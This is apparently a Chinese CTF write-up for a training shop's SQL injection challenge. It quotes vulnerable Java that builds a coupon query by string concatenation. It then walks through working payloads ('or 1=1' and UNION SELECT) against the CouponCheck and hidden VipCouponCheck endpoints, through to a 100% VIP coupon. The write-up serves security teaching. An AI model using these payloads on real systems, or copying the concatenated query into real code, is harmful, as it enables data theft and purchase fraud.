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SQL Injection Challenge 5(SQL 注入 5)

题介绍

需要免费购买第三个商品,提示是优惠券有问题

功能实现

请求时首先发送

POST /challenges/8edf0a8ed891e6fef1b650935a6c46b03379a0eebab36afcd1d9076f65d4ce62CouponCheck HTTP/1.1

couponCode=5
存在一个SQL注入
String couponCode = request.getParameter("couponCode");  //接收参数 
log.debug("couponCode - " + couponCode);
if (couponCode == null || couponCode.isEmpty())
    couponCode = new String();

htmlOutput = new String("");
Connection conn = Database.getChallengeConnection(applicationRoot, "SqlInjectionChallenge5ShopCoupon");
log.debug("Looking for Coupons Insecurely");
PreparedStatement prepstmt = conn.prepareStatement("SELECT itemId, perCentOff, itemName FROM coupons JOIN items USING (itemId) WHERE couponCode = '" + couponCode + "';"); // 获得哪个商品 多少降价信息 
ResultSet coupons = prepstmt.executeQuery();
try
{
    if(coupons.next())
    {
        htmlOutput = new String("Valid Coupon for ");
        log.debug("Found coupon for %" + coupons.getInt(2));
        log.debug("For Item Name " + coupons.getString(3));
        htmlOutput += "" + bundle.getString("response.percent")+ "" + coupons.getInt(2) + " " + bundle.getString("response.off")+ " " + Encode.forHtml(coupons.getString(3)) + " " + bundle.getString("response.items")+ "";
    }
    else
    {
        htmlOutput = "" + bundle.getString("response.noCoupon")+ "";
    }
}

提交参数

couponCode=5' or '1'='1

返回内容 Troll 将10%

Valid Coupon for %10 off Troll items

购买商品请求

POST /challenges/8edf0a8ed891e6fef1b650935a6c46b03379a0eebab36afcd1d9076f65d4ce62 HTTP/1.1


megustaAmount=4&trollAmount=3&rageAmount=1&notBadAmount=2&couponCode=5

对应代码

try
{
    int megustaAmount = validateAmount(Integer.parseInt(request.getParameter("megustaAmount")));  //参数过滤  0~9000
    log.debug("megustaAmount - " + megustaAmount);
    int trollAmount = validateAmount(Integer.parseInt(request.getParameter("trollAmount")));  //参数过滤  0~9000
    log.debug("trollAmount - " + trollAmount);
    int rageAmount = validateAmount(Integer.parseInt(request.getParameter("rageAmount")));  //参数过滤  0~9000
    log.debug("rageAmount - " + rageAmount);
    int notBadAmount = validateAmount(Integer.parseInt(request.getParameter("notBadAmount")));  //参数过滤  0~9000
    log.debug("notBadAmount - " + notBadAmount);
    String couponCode = request.getParameter("couponCode");
    log.debug("couponCode - " + couponCode);

    //Working out costs
    int megustaCost = megustaAmount * 30;
    int trollCost = trollAmount * 3000;
    int rageCost = rageAmount * 45;
    int notBadCost = notBadAmount * 15;
    int perCentOffMegusta = 0; // Will search for coupons in DB and update this int
    int perCentOffTroll = 0; // Will search for coupons in DB and update this int
    int perCentOffRage = 0; // Will search for coupons in DB and update this int
    int perCentOffNotBad = 0; // Will search for coupons in DB and update this int

    htmlOutput = new String();
    Connection conn = Database.getChallengeConnection(applicationRoot, "SqlInjectionChallenge5Shop");
    log.debug("Looking for Coupons");
    PreparedStatement prepstmt = conn.prepareStatement("SELECT itemId, perCentOff FROM coupons WHERE couponCode = ?"
            + "UNION SELECT itemId, perCentOff FROM vipCoupons WHERE couponCode = ?");  //查询优惠码 
    prepstmt.setString(1, couponCode);
    prepstmt.setString(2, couponCode);
    ResultSet coupons = prepstmt.executeQuery();
    try
    {
        if(coupons.next())
        {
            if(coupons.getInt(1) == 1) // MeGusta
            {
                log.debug("Found coupon for %" + coupons.getInt(2) + " off MeGusta");
                perCentOffMegusta = coupons.getInt(2);
            }
            else if (coupons.getInt(1) == 2) // Troll
            {
                log.debug("Found coupon for %" + coupons.getInt(2) + " off Troll");
                perCentOffTroll = coupons.getInt(2);
            }
            else if (coupons.getInt(1) == 3) // Rage
            {
                log.debug("Found coupon for %" + coupons.getInt(2) + " off Rage");
                perCentOffRage = coupons.getInt(2);
            }
            else if (coupons.getInt(1) == 4) // NotBad
            {
                log.debug("Found coupon for %" + coupons.getInt(2) + " off NotBad");
                perCentOffNotBad = coupons.getInt(2);
            }

        }
    }
    catch(Exception e)
    {
        log.debug("Could Not Find Coupon: " + e.toString());
    }
    conn.close();

    //Work Out Final Cost
    megustaCost = megustaCost - (megustaCost * (perCentOffMegusta/100));
    rageCost = rageCost - (rageCost * (perCentOffRage/100));
    notBadCost = notBadCost - (notBadCost * (perCentOffNotBad/100));
    trollCost = trollCost - (trollCost * (perCentOffTroll/100)); //结果为 0 即可 
    int finalCost = megustaCost + rageCost + notBadCost + trollCost;

    //Output Order
    htmlOutput = "<h3>" + bundle.getString("response.orderComplete")+ "</h3>"
            + "" + bundle.getString("response.orderComplete.p1")+ "<br/><br/>"
            + "" + bundle.getString("response.orderComplete.p2")+ "<a><strong>$" + finalCost + "</strong></a>";
    if (trollAmount > 0 && trollCost == 0)
    {
        htmlOutput += "<br><br>" + bundle.getString("response.trollsFreeSolution")+ "<a><b>" + Encode.forHtml(levelSolution) + "</b></a>";
    }
}
catch(Exception e)
{
    log.debug("Didn't complete order: " + e.toString());
    htmlOutput += "<p>" + bundle.getString("response.orderFailed")+ "</p>";
}

private static int validateAmount (int amount)
    {
        if(amount < 0 || amount > 9000)
            amount = 0;
        return amount;
    }
从题可以看出,要保证 巨魔 商品的最终价格为 0 即可
perCentOffTroll 来源于sql查询结果 ,需要获得对应的商品信息

解题步骤

发现 这个注入点

POST /challenges/8edf0a8ed891e6fef1b650935a6c46b03379a0eebab36afcd1d9076f65d4ce62CouponCheck HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 110


couponCode=1' union select itemId,percentOff,CONCAT('This is the couponCode: ', itemId, ' ') from coupons; -- 

返回内容

Valid Coupon for %100 off This is the couponCode: 3  items

itemId = 3 对巨魔商品计算没有影响

//发送请求  
couponCode=1' union select itemId,percentOff,CONCAT('This is the couponCode: ', couponCode, ' ') from coupons where itemId=2; -- 

//获得返回内容 
Valid Coupon for %10 off This is the couponCode: PleaseTakeATroll  items

//返佣比较少  无法达到预期 

//发送请求 
couponCode=1' union select itemId,percentOff,CONCAT('This is the couponCode: ', couponCode, ' ') from coupons where itemId=2 and percentOff  != 10; -- 

//获得返回内容 
Valid Coupon for %50 off This is the couponCode: HalfOffTroll  items

最高返佣是50% 无法达到预期 

查看提示
发现需要研究 这个js

challenges/8edf0a8ed891e6fef1b650935a6c46b03379a0eebab36afcd1d9076f65d4ce62/couponCheck.js

第一行解密  
var _0xffee = ["change", "val", "#couponCode", "POST", "8edf0a8ed891e6fef1b650935a6c46b03379a0eebab36afcd1d9076f65d4ce62CouponCheck", "ajax", "8edf0a8ed891e6fef1b650935a6c46b03379a0eebab36afcd1d9076f65d4ce62VipCouponCheck", "#vipCouponCode"];

$(_0xffee[7])[_0xffee[0]](function() {
    var _0xe83dx1 = $(_0xffee[2])[_0xffee[1]]();
    var _0xe83dx2 = $[_0xffee[5]]({
        type: _0xffee[3],
        url: _0xffee[6],
        data: {
            couponCode: _0xe83dx1
        },
        async: false
    });
})[_0xffee[0]]();

可知还有个请求地址  _0xffee[6]( 8edf0a8ed891e6fef1b650935a6c46b03379a0eebab36afcd1d9076f65d4ce62VipCouponCheck)


这个地址  
8edf0a8ed891e6fef1b650935a6c46b03379a0eebab36afcd1d9076f65d4ce62VipCouponCheck  与 8edf0a8ed891e6fef1b650935a6c46b03379a0eebab36afcd1d9076f65d4ce62CouponCheck 参数相同  

同样存在注入  

请求  

POST /challenges/8edf0a8ed891e6fef1b650935a6c46b03379a0eebab36afcd1d9076f65d4ce62VipCouponCheck HTTP/1.1


couponCode=6' union select itemId,percentOff,CONCAT('This is the couponCode: ', couponCode, ' ') from vipCoupons where itemId=2; -- 

获得返回  
Valid Coupon for %100 off This is the couponCode: spcil/|Pse3cr3etCouponStu.f4rU176  items

couponCode 为 spcil/|Pse3cr3etCouponStu.f4rU176 ,优惠100% 

总结

复杂的业务流程,很容易导致安全问题,需要每个点都做的很好才可以

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